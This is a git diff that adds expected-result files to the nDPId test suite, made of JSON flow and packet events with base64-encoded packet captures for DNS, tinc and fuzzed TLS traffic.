SpjtrjVjOes81VUa9nwlhjoZNOege+s6RanuO2rek4VxesYuVos1\/D5pAhpFltvJc4W6wjnh7v8LbwbvO8JqdNCRW3YNZVzJKv9YXml+Aqj29Vyxqpd20lMbqoizWco\/MvFHLrYswB4V6A+6hzPdm+rRVPypoqJWDRzwwEZV5TRI6\/NMGzQIxoYrvkAJq9o0bdGtQJYejrzZyxNl9pY7yKtmJbeXsy8t5Vs\/d12jCBnEqp4kZ66RLn334xaOUwW\/lLbQkeeEdEZATa7Jbe2ppgEBYVByd7N1w8kMqd85T3RgFtL\/HhUzx8PEFsAfAE53qzRdl5Kt0fYBHag4UdYch4v9sIlvR+z3uN7AGZ23IsmyYjRlHPbJ5wz1vACwXCgggxOyFntxaUx5BsMW7q3UHHXM2XKlBeCIItaRMF+DKAOJ65btGtNIKG8\/W2YuDZMj+1pX47o\/G4u88iFYX0Qo5x55G3gLhSLdgWL+1I3U8OnwLOCybyNWBJpRjdR5x7RfS2lYHyzrLg8CFwglW0xGrXhXn6KpCa3g4MLnemAc4bX0ogOx1c9Jfwjcn6S+erIt5\/9es2cKnjGffD6mGfgCc4DwJ9F4AvTDn6DjRjsVgzag+JU8JzYXs\/b0evFQ9lh8MqDDlNUumenvzH3pLkT03ZO65SVrQ4bpKAlhNxOL7xK8YZz9pAu1hKjctYYOfCjptSyusTs5ZigqhGUfln1aF5Cuw799f3rD3Z+K9b4tx6FqX3FDII1QVNMV\/moLlM46vopos7H9hrLQBk\/26J24DeWJpS8m+QSZ5hC4dHpadiv2Rr1iNPXgnqsRPb5VV0zGNds3QrJy1oHiPnyeLno+3uvI5U5ocpIN2st6Avk8bj4OxlkP9NjVpj8n+39ITREHaBD2Pmu6baozbSi9zownOtAiZ9EZBKzGmGxODjTID+7Ltge4L6X9s0T\/ox3GDuuRL0WUioH3qt\/SHfCBzUiKaTKdiqg="} +01045{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983429,"pkt_ts_usec":93120,"pkt_caplen":526,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":526,"pkt_l4_len":492,"pkt":"ABcILL3nACbGCvpSCABFAAIAAABAAEAReZuDcqgbuVPacNlo2WgB7J62aRDhv5lHZCc70ajhTJHa5jVi1efjSbFWsOD919+OPkOe23wCU\/SRc\/iz14OUCbnWQNvjwGKVLH6ApV++AQZwJOHvLZ8AbeieaoCZOKJ1J3nC6kIVkNErHfR9I4+evq9eRdylqwEVqye8D9E8j6K+I6BRQCJuDqiiFaL\/8HC24C9RLbT7AsGIvIT9aaTc4pX9XpdHUedKRlAcZjkMQlGiZn1rd4ADQnn4rOxP7u3OatTT04QI6e+zLLW29sNlsrV6YGCEi7FZm6vzmisMQnLVfeekLe6wzR3UA0u4rtCg3ZBOF8Wk3bGNIMy8+iwepSJg0N1KqeJRJ0Y0B1dKnbNcErAdukQgssBeoF9UhuQoxd3TuVi4bp7oTFvKnof8bkTw8HLxqckRQ4YHHb23TclrB1hc\/8a27rKJ53l5UoY5t4wYz7EGq+JKP0MYfGzVrz3FTzRHqSj1eaAyQR776gmVMWpxTfF4i\/1tYY+SaVYbfcridlAI1GzlEC1Q6UGxCYosiljcM+mAHS1zJ5jhJTA9uogDQ0K7\/GSRHVaTvI283Gh7GpGqXG8HwVOWTeFwc4IvrZy9nmg3Ck3uzR3TEJMVTuHQ1EWTT+fki0boCyE4Bmvi4Ct9VxQgC2kKLhE0vYYyLEvMvw=="} +01241{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"tinc.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495983429,"pkt_ts_usec":93240,"pkt_caplen":670,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":670,"pkt_l4_len":636,"pkt":"ABcILL3nACbGCvpSCABFAAKQAABAAEAReQuDcqgbuVPacNlo2WgCfHXgG5Pnen+JSm0ePn+sTkg7n8QrD3+u+zSxhclrXawOkmKPI5bQdv8gm+E1mLFTfemDp3GzZ9aP3lMufgknIZokx5WVaMn1as2QWkbPVcnUkRAMT80HsUKqp8rklAmrENv9H5ZkeRDvhpVV\/GDdo5praAfFXazwg027M9FdOV9GZ08TX\/KZr4HR8hivoScZJ8N4xCsiEYYBPqYKBQK0A4QXRxATS9KQ2l8bJKxfUPoNI35xL+fV9E3rk2r2IGc048fNTmRPQTAtbIDIgSJj4hLymgZV0a7ppEOQkq\/03efwd5+Sfy\/pbJJ8Nos9ca4TgPSGdo7XTCiigTQfH1Gx8h+QZsf7r6w2mhcsJsxYBOqt8fERE\/KodQZ4bV5oKEYnNm6lNGHl+jZSm3hPSyXbDN8mgWCBDkTPAwepc4r1dJZfPA0kuPa7Ylxw+MBohuEOaqDl2hN7uJSkTdk3a9wL7xkPFn+xBu5jTJI\/EYc9\/typ6KiVjpCgKIk+hNiO2vtca9pYSzpgmZSavhzDbFHWSxJjLerRfI\/wmQaOmhH5tk+aq48UaU1PlxcdxTvlLbr9A93C7cUyHbli4i0W30Qw14WubnbvpCZzi2UCRuONDPsUkW69WsqgZv\/oKADeYT6OsBNUovblOnWv6E8KVOiUv7mO0kB8RL5APFHYNeEEUlRETzv9bBLzsBVeUiiYmis8BNg8NMBLzSRhSWvLOLFuoasg8iGOZxX0FrPgiTEt48UmCEXaKlkbwQjcrZc1oEZbcHx\/aCeSxnsXDsV4GYXioTDmy68q+x1MlrtVibHJ0aNy3HR0X4G7PZuYKN7diHTrKiLVC9nRmw=="} diff --git a/test/results/tk.pcap.out b/test/results/tk.pcap.out new file mode 100644 index 000000000..53a54ddd7 --- /dev/null +++ b/test/results/tk.pcap.out @@ -0,0 +1,15 @@ +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"tk.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1613939315029,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.1","src_port":51954,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"tk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613939315,"pkt_ts_usec":29133,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA6W4cAAEARmyjAqAGywKgBAcryADUAJu9GCIYBAAABAAAAAAAABXdob2lzA2RvdAJ0awAAAQAB"} +00624{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"tk.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1613939315029,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.1","src_port":51954,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"whois.dot.tk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00449{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"tk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613939315,"pkt_ts_usec":127338,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"KDc3AG3IEBMx8Tl2CABFAABKKoNAADkRkxzAqAEBwKgBsgA1yvIANgAACIaBgAABAAEAAAAABXdob2lzA2RvdAJ0awAAAQABwAwAAQABAAABLAAEaJs3ng=="} +00651{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"tk.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1613939315029,"flow_last_seen":1613939315127,"flow_tot_l4_data_len":92,"flow_min_l4_data_len":38,"flow_max_l4_data_len":54,"flow_avg_l4_data_len":46,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.1","src_port":51954,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"whois.dot.tk","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"104.155.55.158"}} +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"tk.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1613939315127,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.1","src_port":55591,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"tk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613939315,"pkt_ts_usec":127815,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA6pQMAAEARUazAqAGywKgBAdknADUAJrATOWkBAAABAAAAAAAABXdob2lzA2RvdAJ0awAAHAAB"} +00625{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"tk.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1613939315127,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.1","src_port":55591,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"whois.dot.tk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00507{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"tk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613939315,"pkt_ts_usec":183610,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":131,"pkt_l4_len":97,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB1z01AADkR7ibAqAEBwKgBsgA12ScAYQAAOWmBgAABAAAAAQAABXdob2lzA2RvdAJ0awAAHAABwBIABgABAAAOEAAvA25zMQNkbnPAFgNzb2EHZnJlZW5vbQNjb20AYBhZHgAAA4QAABwgAAk6gAAAHCA="} +00646{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"tk.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1613939315127,"flow_last_seen":1613939315183,"flow_tot_l4_data_len":135,"flow_min_l4_data_len":38,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.1","src_port":55591,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"whois.dot.tk","num_queries":1,"num_answers":1,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00465{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"tk.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1613939315184,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.1","src_port":53820,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"tk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613939315,"pkt_ts_usec":184123,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA6otUAAEARU9rAqAGywKgBAdI8ADUAJlfumIYBAAABAAAAAAAABXdob2lzA2RvdAJ0awAADwAB"} +00625{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"tk.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1613939315184,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.1","src_port":53820,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"whois.dot.tk","num_queries":0,"num_answers":0,"reply_code":0,"query_type":15,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00508{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"tk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613939315,"pkt_ts_usec":239614,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":131,"pkt_l4_len":97,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB1ZXdAADkRV\/3AqAEBwKgBsgA10jwAYQAAmIaBgAABAAAAAQAABXdob2lzA2RvdAJ0awAADwABwBIABgABAAAOEAAvA25zMQNkbnPAFgNzb2EHZnJlZW5vbQNjb20AYBhZHgAAA4QAABwgAAk6gAAAHCA="} +00646{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6,"source":"tk.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":2,"flow_first_seen":1613939315184,"flow_last_seen":1613939315239,"flow_tot_l4_data_len":135,"flow_min_l4_data_len":38,"flow_max_l4_data_len":97,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.178","dst_ip":"192.168.1.1","src_port":53820,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"whois.dot.tk","num_queries":1,"num_answers":1,"reply_code":0,"query_type":15,"rsp_type":0,"rsp_addr":"0.0.0.0"}} diff --git a/test/results/tls-esni-fuzzed.pcap.out b/test/results/tls-esni-fuzzed.pcap.out new file mode 100644 index 000000000..a96865805 --- /dev/null +++ b/test/results/tls-esni-fuzzed.pcap.out @@ -0,0 +1,9 @@ +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"tls-esni-fuzzed.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1590680386576,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.27.129.77","src_port":49886,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01382{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"tls-esni-fuzzed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590680386,"pkt_ts_usec":576239,"pkt_caplen":770,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":770,"pkt_l4_len":736,"pkt":"EBMx8Tl2KDc3AG3ICABFAAL0AABAAEAGjOfAqAEMaBuBTcLeAbt3Q5LX\/48DFVAYIACwHgAAFgMBAscBAALDAwOTwM86TEdZaYZx77QiKeLaOUyI6FPS+J3L+0S3MA31OCDtrXy2AkmiC5EC8aXH8NKs5TG5ofTGvlsmIWUcTFlOhgAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAMwA5AC8ANQAKAQACVgAXAAD\/AQABAAAKAA4ADAAdABcAGAAZAQABAQALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAAMwBrAGkAHQAg9C+VXLX0pUAYcvwRMlm2BfjMFL+A2Ha+teHeYm8XszAAFwBBBKhP+5j\/iIqKULsVEv1xkLdgIoxwczB5EVKfTq\/0aLaIOqqUx255GoGIKzaHGdYeWvgG2FTscntynOjMKiH+1xMAKwAJCAMEAwMDAgMBAA0AGAAWBAMFAwYDCAQIBQgGBAEFAQYBAgMCAQAtAAIBAf\/OAW4TAQAdACAoJey8d6KdccaSJO2lCYt20kw0EEYFyldVNE\/b+wVlLQAgHyQSymUyoBaYNvGbjOJlOzPcW4r7yiRdTxErCb+vUsgBJJYkyzxOIwgn94z1v2QNIt6jP8xZjqajLZOZBVhvvpl7nmhmH4lW1IkwcuGd4kzR+4ip9x\/EzAG6tckU\/flqZH1nG16JhZuu6rEiIYaISW303wwyjD1flAsQnOsqJ0PVy+NZQoiiKbjH4viDA+P+GiaonlAB8r2TaJD+948G4F7MBjpovbjBjfrBFM8f7NuL4fwv7ssjFdJ5mNaCsSn9Hj6115hdy9xFKhCCzMA44L9pVw\/vrGvG+5UfibZ5LK2nZAPALOtdzhzm7d0W1ff7a4XSuSSFRI3gCI5CHoPx4osmf747Wa4ElvuEUhPCcdTFrF6efl9qMHJEUwf8zrcwZxBFmZHEDMTcH8MlFUx5dN14A3E5eAVFahmuI+6IR1wd8HaXtmYAHAACQAE="} +00768{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"tls-esni-fuzzed.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1590680386576,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.27.129.77","src_port":49886,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"e5ef852e686954ba9fe060fbfa881e15","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"tls-esni-fuzzed.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1590680387847,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.16.125.175","src_port":49887,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01386{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"tls-esni-fuzzed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590680387,"pkt_ts_usec":847337,"pkt_caplen":770,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":770,"pkt_l4_len":736,"pkt":"EBMx8Tl2KDc3AG3ICABFAAL0AABAAEAGkJDAqAEMaBB9r8LfAbu98X4VZuCG7lAYIACqfgAAFgMBAscBAALDAwPZvt6xqK7JiSO2eRBioUk2Uu867QdPWpn6Sv4hYS472iAz8c+AKNafKEsBeorsjdYMXk2HdHvKJL23Af8gga\/qxAAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAMwA5AC8ANQAKAQACVgAXAAD\/AQABAAAKAA4ADAAdABcAGAAZAQABAQALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAAMwBrAGkAHQAg0HCVKAanlLS9J1B8hdchDfkoKDxcPc3B5hBZYsZWdz8AFwBBBCakAur\/e3rF+tGl0au7NOTY4DQpBg\/YjV6ew74w8otvaCGiCdoeWGhEGjsldqwZrBxN3o59i8BSdRX+YPQ+GgkAKwAJCAMEAwMDAgMBAA0AGAAWBAMFAwYDCAQIBQgGBAEFAQYBAgMCAQAtAAIBAf\/OAW4TAQAdACAFyK2kXV21yqtAW2T62b\/NDTnJgxOrhECle3qcjynhZQAgHyQSymUyoBaYNvGbjOJlOzPcW4r7yiRdTxErCb+vUsgBJLkAAE456EuY9a6HsKAg7En+2G8rSItqsoven5V2IfJ3Q2bekOZcTKgIZokRYkaF7ExtxsFhqXy+gigbwIQnaXqjvmpA5fAKz4tj4ykxew5OhWQtUKuHkOYZfaYtn1syOdzFlDd5f+dopSDJ1HH+q6E3XfYeSjmwk2PLEJ57JKeThEiW3dFrbufb5XbXZxYdeC179v7EU6Bakj2Njpvv\/Jfo5WxPGqtw\/pm8l4GeHZCKXzswlPS\/Jet6JKlP28PhB6QjuLs0HyKQD3u9h3gOMLbs85P+uPv\/61THn6BnP+Gq0XsiHUv\/ZFCqDNSvUTBmtmCAtgIUfzrLcUWkNsVonaILrLi\/m6vYUQElVuyPe7nXS\/qvJdz0NipXdWB8POXCwp8YOWkAHAACQAE="} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2,"source":"tls-esni-fuzzed.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1590680387847,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.16.125.175","src_port":49887,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"e5ef852e686954ba9fe060fbfa881e15","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"tls-esni-fuzzed.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1590680391590,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.22.71.197","src_port":49897,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01380{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"tls-esni-fuzzed.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590680391,"pkt_ts_usec":590254,"pkt_caplen":770,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":770,"pkt_l4_len":736,"pkt":"EBMx8Tl2KDc3AG3ICABFAAL0AABAAEAGxnTAqAEMaBZHxcLpAbsLJg40SW6gUlAYIAANXgAAFgMBAscBAALDAwMJLl9l\/OldUJYbpqd0xOpts3Kv4zg2hroTXcdX9KeB2CBjkfBVUTqX532YPuVZHQd0J5lIK2OZH9nsSRBnWwKDWwAkEwETAxMCwCvAL8ypzKjALMAwwArACcATwBQAMwA5AC8ANQAKAQACVgAXAAD\/AQABAAAKAA4ADAAdABcAGAAZAQABAQALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAAMwBrAGkAHQAgsbxhJX9IcnjB7rdgEb2YIBohnnxEhKIToNk1er8CIioAFwBBBLtlLNXLCuP0okhISXwuyj6tgeyLGZ5yaSZ9uT3zAbum2y5l1gYjS6RGBBL9dNcuY2pA4Ze582sOuuo0cAvw2TsAKwAJCAMEAwMDAgMBAA0AGAAWBAMFAwYDCAQIBQgGBAEFAQYBAgMCAQAtAAIBAf\/OAW4TAQAdACCgcq\/jSZGFwhXJHl9nfU84W9RHblecX+XHXi+knd++egAgHyQSymUyoBaYNvGbjOJlOzPcW4r7yiRdTxErCb+vUjmwk2PLEJ57JKeThEiW3dFrbufb5XbXZxYdeC179v7EU6Bakj2Njpvv\/Jfo5WxPGqtwjTPLrxKpdN+3jkm4v5pXmXQY7xTIeDCWHjyEgNKkvyfWHZEc70MAkkqfNhBXSLrthF\/1heQEBlRbs1xtqteJZDPsTf1rb0lyjahdcH23rHhPVaZljcat4wh7Hka7vt+kTz6HVLMaa8+FGdKR02KYBfqCbkN5nqbjMCHPCoPKBXF7APN9aYQZNPW1vyVMZGeIilksOKMAfbO31cu423QrZX+PlzwFC6qBeqVxOTzYpLwLIxJGCnfdBRD0u85D1TvPM05OjHVwJVu9F3FEA\/S2klQ0zWf5b6ngXXAHdoEO61eGscgYik1z+CCLYUuTKEqAk5KVlL4AHAACQAE="} +00820{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"tls-esni-fuzzed.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1590680391590,"flow_last_seen":0,"flow_tot_l4_data_len":736,"flow_min_l4_data_len":736,"flow_max_l4_data_len":736,"flow_avg_l4_data_len":736,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.12","dst_ip":"104.22.71.197","src_port":49897,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"24":"SNI TLS extension was missing"},"proto":"TLS.Cloudflare","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"e5ef852e686954ba9fe060fbfa881e15","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} diff --git a/test/results/tls-rdn-extract.pcap.out b/test/results/tls-rdn-extract.pcap.out new file mode 100644 index 000000000..023174659 --- /dev/null +++ b/test/results/tls-rdn-extract.pcap.out @@ -0,0 +1,10 @@ +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"tls-rdn-extract.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946681200000,"flow_last_seen":0,"flow_tot_l4_data_len":147,"flow_min_l4_data_len":147,"flow_max_l4_data_len":147,"flow_avg_l4_data_len":147,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"213.199.149.251","src_port":31337,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00585{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"tls-rdn-extract.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946681200,"pkt_ts_usec":0,"pkt_caplen":181,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":181,"pkt_l4_len":147,"pkt":"ERERERERIiIiIiIiCABFAACnLudAAIAGnZoKAAAB1ceV+3ppAbtkZ4Ye79i2a1AYQCmgXgAAFgMBAHoBAAB2AwEAAAAAM7RDB2u\/HXE+9PsbFMYgy+4A2s6CH4THeQytZwAAGAAvADUABQAKwBPAFMAJwAoAMgA4ABMABAEAADX\/AQABAAAAABMAEQAADmFkczEubXNhZHMubmV0AAUABQEAAAAAAAoABgAEABcAGAALAAIBAA=="} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"tls-rdn-extract.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":946681200000,"flow_last_seen":0,"flow_tot_l4_data_len":147,"flow_min_l4_data_len":147,"flow_max_l4_data_len":147,"flow_avg_l4_data_len":147,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"213.199.149.251","src_port":31337,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"ads1.msads.net","ja3":"2201d8e006f8f005a6b415f61e677532","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} 